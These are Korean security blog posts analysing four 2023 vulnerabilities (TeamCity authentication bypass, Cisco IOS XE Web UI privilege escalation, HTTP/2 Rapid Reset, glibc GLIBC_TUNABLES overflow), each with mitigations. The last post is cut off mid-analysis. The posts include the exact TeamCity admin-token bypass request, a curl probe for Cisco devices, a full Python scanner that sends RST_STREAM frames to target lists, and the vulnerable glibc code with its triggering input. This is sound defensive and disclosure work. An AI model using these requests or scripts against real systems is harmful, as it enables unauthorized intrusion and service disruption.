1. TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

1.1 CI/CD (Continuous Integration/Continuous Delivery) [1][2]

- 소프트웨어 제공을 위한 일반적인 과정을(빌드(Build)-테스트(Test)-릴리스(Release)-배포(Deploy)) 자동화한 것

애플리케이션 개발 단계부터 배포까지 모든 단계를 자동화하여 효율적이고 빠르게 사용자에게 배포할 수 있음

 

1.1.1 CI (Continuous Integration, 지속적 통합)

- 빌드/테스트 자동화 과정

- 코드 변경 사항이 정기적으로 빌드 및 테스트되어 공유 리포지토리에 통합

커밋할 때마다 빌드와 일련의 자동 테스트가 이루어져 동작을 확인하고 변경으로 인한 문제가 없도록 보장

> 여러 명의 개발자가 동시에 코드 작업을 할 경우 발생할 수 있는 충돌 문제와 시간이 오래걸리는 문제를 해결

> 소스/버전 관리 시스템에 대한 변경 사항을 정기적으로 커밋하여 모든 사람들에게 동일 작업 기반을 제공

 

1.1.2 CD (Continuous Delivery, 지속적 제공)

- 배포 자동화 과정

- Continuous Deployment(지속적인 배포)를 의미하기도 하며, 두 용어는 상호 교환적으로 사용

파이프라인의 이전 단계(CI 단계)를 모두 성공적으로 통과하면 수동 개입 없이 자동으로 배포

> 품질 저하 없이 최대한 빨리 사용자에게 새로운 기능을 제공할 수 있음

 

[사진 1] CI/CD

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2023-42793 [2]

- JetBrains TeamCity 2023.05.4 이전 버전에서 발생하는 인증 우회 취약점

> 인증 우회 후 원격 명령을 실행할 수 있게됨

- 다이아몬드슬릿(Diamond Sleet)과 오닉스슬릿(Onyx Sleet)으로 불리는 북한 APT 조직들이 활발히 익스플로잇 하는 것으로 조사

> 취약점을 악용해 백도어와 멀웨어를 피해자 시스템에 유포해 모니터링, 정보 탈취 등 악성 행위 수행

※ 다이아몬드슬릿: 전 세계 IT, 미디어, 국방 분야 공략
※ 오닉스플릿: 미국, 한국, 인도의 IT, 국방 분야 공략

영향받는 버전
- JetBrains TeamCity 2023.05.4 이전 버전
※ TeamCity 버전은 로그인 페이지 하단에 표시되어, 공격자들은 손 쉽게 버전을 확인할 수 있음

 

2.1 취약점 상세 [4][5]

- TeamCity는 외부 응용 프로그램을 통합하기 위한 REST API를 제공

> /app/rest/users/<userLocator>/tokens 경로를 통해 사용자 인증 토큰을 생성

> {name} 매개변수를 통해 토큰에 대한 이름을 추가로 생성할 수 있음

 

[사진 3] 사용자 인증 토큰 생성

 

- TeamCity는 요청 인터셉터(RequestInterceptors 클래스)를 사용해 모든 HTTP 요청에 대해 특정 작업을 수행

> 특정 작업 중 하나가 권한 부여 매커니즘

 

- 요청이 발생하면 해당 클래스의 preHandle 메서드가 호출

> preHandle 메서드requestPreHandlingAllowed를 호출요청이 사전 처리에 적합한지 여부를 결정

 

[사진 4] preHandle

 

- requestPreHandlingAllowed 메서드요청된 경로가 사전 정의된 경로 목록과 일치 여부 확인

 

[사진 5] requestPreHandlingAllowed

 

- RequestInterceptors 클래스에는 두 개의 사전 정의된 표현식이 존재

① /**/RPC2

② /app/agents/**

 

[사진 6] 사전 정의된 경로 표현식

 

- 공격자는 경로 "/**/RPC2"를 만족하는 요청을 전송할 경우 인증을 우회할 수 있게됨 [6]

> [사진 3]에 의해 /app/rest/users/<userLocator>/tokens/{name}의 형태로 요청

> <userLocator>은 인증 토큰으로, 사용자마다 고유한 값을 가지는 것으로 판단됨 (ex. admin 계정의 경우 id:1)

> [사진 4] ~ [사진 6]에 의해 {name} 매개변수의 값으로 RPC2 지정

> 공격자의 요청은 /app/rest/users/id:1/tokens/RPC2 형태로, 서버는 관리자 권한을 지닌 새로 생성된 토큰을 반환

> 공격자는 반환된 토큰을 이용해 새로운 관리자 계정을 생성하는 등 추가 익스플로잇이 가능해짐

※ [사진 4]의 requestPreHandlingAllowed 메서드가 false를 반환하며, ! 연산에 의해 true가 되어 if 문을 만족해 이후 권한 부여 등 인증 과정을 우회할 수 있게됨

 

[사진 7] 과정 요약

 

- 취약점 시연 영상 [6]

 

[영상 1] 취약점 시연 동영상

 

3. 대응방안

① 최신 버전 업데이트 적용 [7]

> 23.09.18 취약점을 수정을 포함한 2023.05.04 버전 배포

> 사전 정의된 요청 경로 중 /**/RPC2를 제거

제품명 영향받는 버전 해결 버전
JetBrains TeamCity 2023.05.04 이전 버전 2023.05.04 

 

[사진 8] 수정 내역

 

4. 참고

[1] https://seosh817.tistory.com/104
[2] https://jud00.tistory.com/entry/CICD%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%BC%EA%B9%8C
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-42793
[4] https://www.sonarsource.com/blog/teamcity-vulnerability/#indicators-of-compromise
[5] https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
[6] https://www.youtube.com/watch?v=O2p-6I8RK5c
[7] https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71212
[9] https://www.boannews.com/media/view.asp?idx=122862&page=1&kind=1

1. Cisco IOS XE [1]

- 시스코에서 제조한 라우터 및 스위치에 사용되는 독점 네트워크 운영 체제 IOS(Internetworking Operating System) 중 하나

※ Network Operating System (NOS): 라우터 , 스위치 또는 방화벽 과 같은 네트워크 장치를 위한 특수 운영 체제

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-20198 [2]

- 인터넷이나 신뢰할 수 없는 네트워크에 노출된 Cisco IOS XE Software의 Web UI에서 발생하는 권한 상승 취약점 (CVSS: 10)

- 공격이 성공할 경우 공격자는 Level 15의 권한을 가지게 되어 모든 명령 실행 및 설정 변경 등이 가능해짐

- 또한, 불충분한 입력 값 검증으로 인한 명령 주입 취약점  CVE-2023-20273으로 이어져 악성 파일을 생성가능

> Cisco IOS는 액세스 권한 수준이 Level 0~15, 총 16가지로 나뉘어져 있으며, Level 별로 사용가능한 명령이 다름 [3]

 

구분 설명
Level 0 5가지 명령어만 사용 가능 (logout, enable, disable, help, exit)
Level 1 라우터에 대해 매우 제한된 읽기 전용 액세스를 제공
Level 15 라우터에 대한 완전한 제어가 가능
영향받는 버전
- Web UI 기능을 활성화한 Cisco IOS XE Software

 

2.1 취약점 상세

- 구체적인 원인은 확인되지 않으나 알려진 내용에 따르면 4가지 조건이 확인됨

① 인터넷이나 신뢰할 수 없는 네트워크에 노출

② 웹 UI 기능 활성화

③ CVE-2021-1435 취약점 존재 [6]

④ 조작된 악성 HTTP 요청 전송 후 서버 재시작

※ 보안 연구원의 Shodan 검색 결과에 따르면 약 40,000개 이상의 장치가 위 ①,② 조건을 만족 [5]

※ CVE-2021-1435: Cisco IOS XE Software 웹 UI의 불충분한 입력값 검증으로인해 원격의 공격자가 루트 권한으로 임의의 명령을 실행할 수 있는 취약점

※ 해당 취약점은 2021년 패치

 

- 시스코의 Talos팀에서 공격에 사용된 것으로 판단되는 Lua로 작성된 코드를 공개 [7]

HTTP POST 요청

menu 매개변수존재할 경우(Null과 공백이 아닐경우) 일련의 문자열 반환

> Lua에서 nil은 아무것도 없는 텅빈 값을 의미하며, ~= 연산은 같지않음을 의미

logon_hash 매개변수1인 경우 18자의 16진수 문자열 반환

logon_hash 매개변수지정된 값과 일치하며, common_type 매개변수subsystem 또는 iox인 경우 실행 수준 결정

> common_type == subsystem: 코드가 시스템 수준에서 실행

> common_type == iox: 코드가 IOS 수준에서 실행 (Level 15)

[사진 3] 공격 코드 예시

 

3. 대응방안

① 벤더사 제공 업데이트 적용 [8]

> 해당 업데이트는 CVE-2023-20273에 대한 업데이트가 포함되어 있음

> 현재 해당 취약점 악용 시도가 활발히 진행되고 있어 신속한 업데이트 적용 필요

 

제품명 영향받는 버전 해결 버전
Cisco IOS XE Software 16.12(Catalyst 3650 및 3850만 해당) 17.6
16.12.10a 17.6.6a
17.3 17.9
17.3.8a 17.9.4a

 

② 업데이트 불가 등의 경우 벤더사 제공한 보안 권고 적용 [9][10]

- 모든 인터넷 연결 시스템 상의 HTTP Server 기능에 대해 비활성화

> HTTP/HTTPS 통신이 필요한 서비스를 실행할 경우, 해당 서비스 접근을 신뢰할 수 있는 네트워크로 제한할 것

> 아래 명령 결과 ip http server 또는 ip http secure-server 출력될 경우 Web UI 기능이 활성화 (비활성화 방법 표 참고)

show running-config | include ip http server|secure|active
구분 설명
HTTP Server 사용시 no ip http server 명령어로 비활성화
HTTPS Server 사용시 no ip http secure-server 명령어로 비활성화

 

> 시스템 로그를 통해 아래 로그 유무 확인

시스템 로그
점검 항목
%SYS-5-CONFIG_P: Configured programmatically by process SEP_webui_wsma_http from console as user on line
%SEC_LOGIN-5-WEBLOGIN_SUCCESS: Login Success [user: user] [Source: source_IP_address] at 03:42:13 UTC Wed Oct 11 2023
%WEBUI-6-INSTALL_OPERATION_INFO: User: username, Install Operation: ADD filename

 

> 아래 명령 실행 결과 16진수 문자열 반환 여부 확인 (문자열 반환시 취약점 노출)

curl -k -X POST "hxxps://systemip/webui/logoutconfirm.html?logon_hash=1"

 

> 새로 생성된 계정이 있는지 점검 및 확인

 

4. 참고

[1] https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-xe/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-20198
[3] https://learningnetwork.cisco.com/s/blogs/a0D3i000002eeWTEAY/cisco-ios-privilege-levels
[4] https://study-ccna.com/cisco-privilege-levels/
[5] https://www.hackread.com/cisco-web-ui-vulnerability-exploited-attackers/
[6] https://nvd.nist.gov/vuln/detail/CVE-2021-1435
[7] https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71220&menuNo=205020
[9] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
[10] https://sec.cloudapps.cisco.com/security/center/publicationListing.x
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71216&menuNo=205020
[12] https://www.hackread.com/cisco-web-ui-vulnerability-exploited-attackers/
[13] https://www.bleepingcomputer.com/news/security/cisco-warns-of-new-ios-xe-zero-day-actively-exploited-in-attacks/
[14] https://arstechnica.com/security/2023/10/actively-exploited-cisco-0-day-with-maximum-10-severity-gives-full-network-control/
[15] https://www.boannews.com/media/view.asp?idx=122729&page=1&kind=1
[16] https://www.boannews.com/media/view.asp?idx=122716&page=1&kind=1
[17] https://www.boannews.com/media/view.asp?idx=122968&page=2&kind=1
[18] https://www.boannews.com/media/view.asp?idx=123011&page=1&kind=1

1. HTTP/2 [1]

- 2015년 IETF에 의해 공식적으로 발표된 HTTP/1.1의 후속 버전

구분 설명
HTTP/1.0 - 하나의 Connection하나의 요청을 처리하도록 설계
- 서버에 요청시 매번 연결/해제 과정을 반복해야 했으므로 RTT가 오래 걸리는 단점이 존재 (≒ 속도가 느리다)
> RTT(Round Trip Time): 패킷이 왕복하는데 걸린 시간
HTTP/1.1 - Persistent Connection: 매번 Connection을 생성하지 않고, keep-alive 옵션을 이용해 일정 시간동안 연결 유지
- Pipelining: 클라이언트는 앞 요청의 응답을 기다리지 않고, 순차적으로 요청을 전송하며 서버는 요청이 들어온 순서대로 응답
- HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한 응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생
- 무거운 Header 구조: 매 요청마다 중복된 헤더 값을 전송하여, 헤더 크기가 증가하는 문제
HTTP/2 - 구글의 비표준 개방형 네트워크 프로토콜 SPDY 기반
- Multiplexed Streams: 하나의 Connection을 통해 여러 데이터 요청을 병렬로 전송할 수 있음, 응답의 경우 순서 상관없이 Stream으로 전송
- Header 압축: 이전 요청에 사용된 헤더 목록을 유지관리하여 헤더 정보를 구성
- Binary protocol: 복잡성 감소, 단순한 명령어 구현 등
- Server Push: 요청되지 않았지만 향후 예상되는 추가 정보를 클라이언트에 전송할 수 있음
- Stream Prioritization: 리소스간 의존관계에 따른 우선순위를 설정하여 리소스 로드 문제 해결
- HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한 응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생
HTTP/3 - QUIC라는 계층 위에서 동작하며 UDP 기반
- UDP 기반이기 때문에 RTT 감소 및 HOL Blocking 문제를 극복

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-44487 [2]

- HTTP/2의 구조적 문제를 악용해 서비스 거부를 유발 시키는 제로데이 취약점

- 해당 취약점을 악용할 경우 DDoS 공격 규모는 약 2억 100만 RPS

> 종전 기록은 7100만 RPS

 

2.1 취약점 상세

- HTTP/2는 HTTP/1.1의 순차처리 방식의 단점을 보완Multiplexed Streams을 지원

> HTTP/1.1에서는 각 요청이 순차적으로 처리되어 비효율적이며, 지연 시간이 늘어나는 단점이 있음

> HTTP/2는 하나의 Connection상에서 동시에 여러 개의 요청을 보내 문제점을 개선

※ HTTP/2에서 Stream ID를 이용해 데이터를 처리하므로 동시에 여러 데이터를 병렬 처리가 가능함

 

[사진 2] HTTP/1.1(위) HTTP/2(아래) 동작 방식 비교 [3]

 

- 또한, 클라이언트나 서버는 RST_STREAM 스트림을 전송함으로써 스트림을 취소할 수 있는 기능이 존재

> RST_STREAM을 이용해 불필요한 작업이 발생하는 것을 방지할 수 있음

> 잘못된 요청 또는 불필요 데이터 요청 등을 취소하고 빠르게 재설정할 수 있도록 하므로 Rapid Reset으로 불림

 

- 서버는 MAX_CONCURRENT_STREAMS 값을 설정하여, 서버에서 처리 가능한 스트림의 양을 명시

> 해당 값을 초과하는 요청이 발생하면, RST_STREAM을 발생시키고 요청을 거절

※ Stream을 지속적으로 보내 서버의 자원을 고갈시키는 단순한 유형의 DDoS 대응책으로 판단됨

 

- 공격자는 스트림을 요청한 후 바로 RST_STREAM을 요청하여 DDoS를 유발

> MAX_CONCURRENT_STREAMS 값을 초과하지 않기 때문에, 우회가 가능함

> 즉, MAX_CONCURRENT_STREAMS 값 이상의 스트림을 보낼 수 있음

[사진 4] HTTP/2 Rapid Reset DDoS 요약 [4]

 

2.2 PoC [5]

① 웹 서버가 HTTP/2 요청을 다운그레이드하지 않고 수락하는지 확인

② 웹 서버가 HTTP/2 요청을 수락하고 다운그레이드하지 않을 경우, 연결 스트림을 열고 재설정 시도

③ 웹 서버가 연결 스트림의 생성 및 재설정을 수락하는 경우 취약점의 영향을 받음

#!/usr/bin/env python3

import ssl
import sys
import csv
import socket
import argparse

from datetime import datetime
from urllib.parse import urlparse
from http.client import HTTPConnection, HTTPSConnection

from h2.connection import H2Connection
from h2.config import H2Configuration

import httpx
import requests

def get_source_ips(proxies):
    """
    Retrieve the internal and external IP addresses of the machine.
    
    Accepts:
        proxies (dict): A dictionary of proxies to use for the requests.
    
    Returns:
        tuple: (internal_ip, external_ip)
    """
    try:
        response = requests.get('http://ifconfig.me', timeout=5, proxies=proxies)
        external_ip = response.text.strip()

        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.settimeout(2)
        try:
            s.connect(('8.8.8.8', 1))
            internal_ip = s.getsockname()[0]
        except socket.timeout:
            internal_ip = '127.0.0.1'
        except Exception as e:
            internal_ip = '127.0.0.1'
        finally:
            s.close()
        
        return internal_ip, external_ip
    except requests.exceptions.Timeout:
        print("External IP request timed out.")
        return None, None
    except Exception as e:
        print(f"Error: {e}")
        return None, None
    
def check_http2_support(url, proxies):
    """
    Check if the given URL supports HTTP/2.
    
    Parameters:
        url (str): The URL to check.
        proxies (dict): A dictionary of proxies to use for the requests.
        
    Returns:
        tuple: (status, error/version)
        status: 1 if HTTP/2 is supported, 0 otherwise, -1 on error.
        error/version: Error message or HTTP version if not HTTP/2.
    """
    try:
        # Update the proxies dictionary locally within this function
        local_proxies = {}
        if proxies:
            local_proxies = {
                'http://': proxies['http'],
                'https://': proxies['https'],
            }
        
        # Use the proxy if set, otherwise don't
        client_options = {'http2': True, 'verify': False}  # Ignore SSL verification
        if local_proxies:
            client_options['proxies'] = local_proxies
        
        with httpx.Client(**client_options) as client:
            response = client.get(url)
        
        if response.http_version == 'HTTP/2':
            return (1, "")
        else:
            return (0, f"{response.http_version}")
    except Exception as e:
        return (-1, f"check_http2_support - {e}")

def send_rst_stream_h2(host, port, stream_id, uri_path='/', timeout=5, proxy=None):
    """
    Send an RST_STREAM frame to the given host and port.
    
    Parameters:
        host (str): The hostname.
        port (int): The port number.
        stream_id (int): The stream ID to reset.
        uri_path (str): The URI path for the GET request.
        timeout (int): The timeout in seconds for the socket connection.
        proxy (str): The proxy URL, if any.
        
    Returns:
        tuple: (status, message)
        status: 1 if successful, 0 if no response, -1 otherwise.
        message: Additional information or error message.
    """
    try:
        # Create an SSL context to ignore SSL certificate verification
        ssl_context = ssl.create_default_context()
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE

        # Create a connection based on whether a proxy is used
        if proxy and proxy != "":
            proxy_parts = urlparse(proxy)
            if port == 443:
                conn = HTTPSConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout, context=ssl_context)
                conn.set_tunnel(host, port)
            else:
                conn = HTTPConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout)
                conn.set_tunnel(host, port)
        else:
            if port == 443:
                conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context)
            else:
                conn = HTTPConnection(host, port, timeout=timeout)

        conn.connect()

        # Initiate HTTP/2 connection
        config = H2Configuration(client_side=True)
        h2_conn = H2Connection(config=config)
        h2_conn.initiate_connection()
        conn.send(h2_conn.data_to_send())

        # Send GET request headers
        headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), (':path', uri_path)]
        h2_conn.send_headers(stream_id, headers)
        conn.send(h2_conn.data_to_send())

        # Listen for frames and send RST_STREAM when appropriate
        while True:
            data = conn.sock.recv(65535)
            if not data:
                break

            events = h2_conn.receive_data(data)
            has_sent = False
            for event in events:
                if hasattr(event, 'stream_id'):
                    if event.stream_id == stream_id:
                        h2_conn.reset_stream(event.stream_id)
                        conn.send(h2_conn.data_to_send())
                        has_sent = True
                        break # if we send the reset once we don't need to send it again because we at least know it worked

            if has_sent: # if we've already sent the reset, we can just break out of the loop
                return (1, "")
            else:
                # if we haven't sent the reset because we never found a stream_id matching the one we're looking for, we can just try to send to stream 1
                
                available_id = h2_conn.get_next_available_stream_id()
                if available_id == 0:
                    # if we can't get a new stream id, we can just send to stream 1
                    h2_conn.reset_stream(1)
                    conn.send(h2_conn.data_to_send())
                    return (0, "Able to send RST_STREAM to stream 1 but could not find any available stream ids")
                else:
                    # if we can get a new stream id, we can just send to that
                    h2_conn.reset_stream(available_id)
                    conn.send(h2_conn.data_to_send())
                    return (1, "")
                    
        conn.close()
        return (0, "No response")
    except Exception as e:
        return (-1, f"send_rst_stream_h2 - {e}")

def extract_hostname_port_uri(url):
    """
    Extract the hostname, port, and URI from a URL.
    
    Parameters:
        url (str): The URL to extract from.
        
    Returns:
        tuple: (hostname, port, uri)
    """
    try:
        parsed_url = urlparse(url)
        hostname = parsed_url.hostname
        port = parsed_url.port
        scheme = parsed_url.scheme
        uri = parsed_url.path  # Extracting the URI
        if uri == "":
            uri = "/"

        if not hostname:
            return -1, -1, ""

        if port:
            return hostname, port, uri

        if scheme == 'http':
            return hostname, 80, uri

        if scheme == 'https':
            return hostname, 443, uri

        return hostname, (80, 443), uri
    except Exception as e:
        return -1, -1, ""

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--input', required=True)
    parser.add_argument('-o', '--output', default='/dev/stdout')
    parser.add_argument('--proxy', help='HTTP/HTTPS proxy URL', default=None)
    parser.add_argument('-v', '--verbose', action='store_true')
    args = parser.parse_args()

    proxies = {}
    if args.proxy:
        proxies = {
            'http': args.proxy,
            'https': args.proxy,
        }

    internal_ip, external_ip = get_source_ips(proxies)

    with open(args.input) as infile, open(args.output, 'w', newline='') as outfile:
        csv_writer = csv.writer(outfile)
        csv_writer.writerow(['Timestamp', 'Source Internal IP', 'Source External IP', 'URL', 'Vulnerability Status', 'Error/Downgrade Version'])
        
        for line in infile:
            addr = line.strip()
            if addr != "":
                now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                
                if args.verbose:
                    print(f"Checking {addr}...", file=sys.stderr)
                
                http2support, err = check_http2_support(addr, proxies)
                
                hostname, port, uri = extract_hostname_port_uri(addr)
                
                if http2support == 1:
                    resp, err2 = send_rst_stream_h2(hostname, port, 1, uri, proxy=args.proxy)
                    if resp == 1:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'VULNERABLE', ''])
                    elif resp == -1:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'POSSIBLE', f'Failed to send RST_STREAM: {err2}'])
                    elif resp == 0:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'LIKELY', 'Got empty response to RST_STREAM request'])
                else:
                    if http2support == 0:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'SAFE', f"Downgraded to {err}"])
                    else:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'ERROR', err])

 

3. 대응방안

- 보안 업데이트 적용 [6]

종류 안전한 버전
NGINX 1.25.3 버전 이상
Apache HTTP Server nghttp2 1.57.0 버전 이상
Apache Tomcat 10.1.14 버전 이상
IIS 2023년 10월 10일 버전 업데이트 [7]
OpenResty 1.21.4.3 버전 이상

 

- 에러 로그 모니터링

> 알려진 연구에 따르면 공격 발생시 499, 502 에러가 발생되므로 관련 에러 로그 모니터링

※ 499: 클라이언트가 요청을 전송한 후 서버에 응답을 받기 전에 연결이 끊어진 경우 (강제 종료, 네트워크 문제 등의 경우)

※ 502: 게이트웨이가 잘못된 프로토콜을 연결하거나, 어느쪽 프로토콜에 문제가 있어 통신이 제대로 되지 않는 경우 (서버 과부하, 사용자 브라우저 이상, 잘못된 네트워크 연결 등의 경우)

 

- GOAWAY 프레임 전송

> HTTP/2에서 GOAWAY 프레임은 서버에서 발생되며, 연결 종료를 알리는 프레임

> RST_STREAM 발생 횟수를 카운트하여 해당 값이 임계 값을 초과하는 경우 GOAWAY 프레임 전송

 

- 관련 설정 값 수정 [6]

> F5 NGINX의 경우 최대 1000개의 연결을 유지하고, MAX_CONCURRENT_STREAMS 값을 128로 설정 하도록 권고

종류 설정 값
NGINX - http2_max_concurrent_streams 120
- keepalive_requests 1,000
Apache HTTP Server  H2MaxSessionStreams 120
Apache Tomcat  maxConcurrentStreams 120

 

- 공격 발생 IP 차단

 

- HTTP/2 미사용 또는 HTTP/3 고려

 

4. 참고

[1] https://github.com/dongkyun-dev/TIL/blob/master/web/HTTP1.1%EA%B3%BC%20HTTP2.0%2C%20%EA%B7%B8%EB%A6%AC%EA%B3%A0%20%EA%B0%84%EB%8B%A8%ED%95%9C%20HTTP3.0.md
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-44487
[3] https://www.wallarm.com/what/what-is-http-2-and-how-is-it-different-from-http-1
[4] https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/

[5] https://github.com/bcdannyboy/cve-2023-44487

[6] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=107187#LINK

[7] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-44487

[8] https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack?hl=en  
[9] https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
[10] https://www.cisa.gov/news-events/alerts/2023/10/10/http2-rapid-reset-vulnerability-cve-2023-44487
[11] https://www.rfc-editor.org/rfc/rfc9113
[12] https://www.securityweek.com/rapid-reset-zero-day-exploited-to-launch-largest-ddos-attacks-in-history/
[13] https://www.securityweek.com/organizations-respond-to-http-2-zero-day-exploited-for-ddos-attacks/
[14] https://www.helpnetsecurity.com/2023/10/10/cve-2023-44487-http-2-rapid-reset/
[15] https://www.boannews.com/media/view.asp?idx=122547&page=1&kind=1 

1. GNU C 라이브러리 (glibc) [1]

- GNU 프로젝트가 C 표준 라이브러리를 구현한 것

> 리눅스 계열 운영체제에서 C언어로 작성된 실행파일들이 동작하기 위해 공통적으로 사용하는 기능을 쉽게 이용할 수 있도록 묶어 놓은 소프트웨어 집합

- 시스템 호출과 다양한 기본 기능들(open, malloc, printf 등)을 포함하기 때문에 대부분의 시스템에서 사용

 

1.1 Dynamic Loader

- 프로그램 준비 및 실행을 담당하는 glibc의 중요한 구성요소

- 프로그램을 실행할 경우 Dynamic Loader는 다음과 같이 동작

① 해당 프로그램을 검사하여 필요한 공유 라이브러리(.io) 결정

② 결정된 공유 라이브러리를 검색하여 메모리에 로드

③ 런타임에 실행 파일과 공유 라이브러리 연결

④ 함수 및 변수 참조와 같은 레퍼런스를 확인하여 프로그램 실행을 위한 모든 것이 설정되었는지 확인

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4911 [2]

- glibcd의 Dynamic Loader인 id.so의 GLIBC_TUNABLES 환경변수를 처리하는 과정에서 발생하는 버퍼 오버 플로우 취약점

- 해당 취약점은 2021년 04월 (glibc 2.34) 커밋 2ed18c부터 존재했던 것으로 확인됨

영향받는 버전
- Fedora 37, 38 버전
- Ubuntu 22.04, 23.04 버전
- Debian 12, 13 버전

※ 대부분의 리눅스 배포판에서 glibc를 사용하기 때문에 다른 리눅스 배포판에도 취약점이 존재할 가능성이 높음
즉, 대부분의 리눅스 배포판에 해당 취약점이 존재한다는 의미

※ 단, Alpine Linux는 라이브러리로 glibc가 아닌 musl libc를 사용하기 때문에 해당 취약점에 영향을 받지 않음

 

2.1 GLIBC_TUNABLES [3]

- 사용자들이 런타임 시 라이브러리의 행동 패턴을 조정할 수 있게 해 주는 것

- 사용자가 매번 필요할 때마다 컴파일링 작업을 다시 하지 않아도 되어 편리성을 높여줌

> 사용자들이 직접 값을 입력해 설정하는 것으로, 부정한 값이 입력될 위험성이 존재

 

2.2 취약점 상세

- 최초 실행시 id.so는 __tunables_init ()를 호출하며, 해당 함수의 기능은 다음과 같음

① 모든 환경 변수 조회 (Line 279)

② 존재하는 환경 변수 중 환경 변수 GLIBC_TUNABLE 검색 (Line 282)

③ 위 과정에서 검색한 각각의 GLIBC_TUNABLE 환경 변수의 사본 생성 (Line 284)

④ parse_tunables()를 호출하여 사본 GLIBC_TUNABLE 환경 변수 처리 및 검사 (Line 286) ---> 취약점 발생 지점

⑤ 원본 GLIBC_TUNABLE 환경 변수를 사본 GLIBC_TUNABLE 환경 변수로 변경 (Line 288)

269 void
270 __tunables_init (char **envp)
271 {
272   char *envname = NULL;
273   char *envval = NULL;
274   size_t len = 0;
275   char **prev_envp = envp;
...
279   while ((envp = get_next_env (envp, &envname, &len, &envval,
280                                &prev_envp)) != NULL)
281     {
282       if (tunable_is_name ("GLIBC_TUNABLES", envname))
283         {
284           char *new_env = tunables_strdup (envname);
285           if (new_env != NULL)
286             parse_tunables (new_env + len + 1, envval);
287           /* Put in the updated envval.  */
288           *prev_envp = new_env;
289           continue;
290         }

 

- parse_tunables() 함수는 복사본을 삭제하고 tunestr에서 모든 위험한 튜너블(SXID_ERASE)을 제거함

> 첫 번째 인수는 사본 GLIBC_TUNABLES을, 두 번째 인수는 원본 GLIBC_TUNABLES를 가리킴

> 정상적인 형태는 "tunable1= aaa:tunable2= bbb" 형태인 것으로 판단됨

162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

 

- GLIBC_TUNABLE 환경 변수가 "tunable1=tunable2=AAA" 처럼 예기치 않은 입력 값을 포함하는 경우 parse_tunables()에서 취약점이 발생

> 입력값 전체를 유효한 값으로 복사하며, 이는 Tunables이 SXID_IGNORE 유형일 때 발생

① while(true)를 첫 번째 반복 동안 "tunable1=tunable2=aaa"가 tunestr에 복사 (Line 221~235)

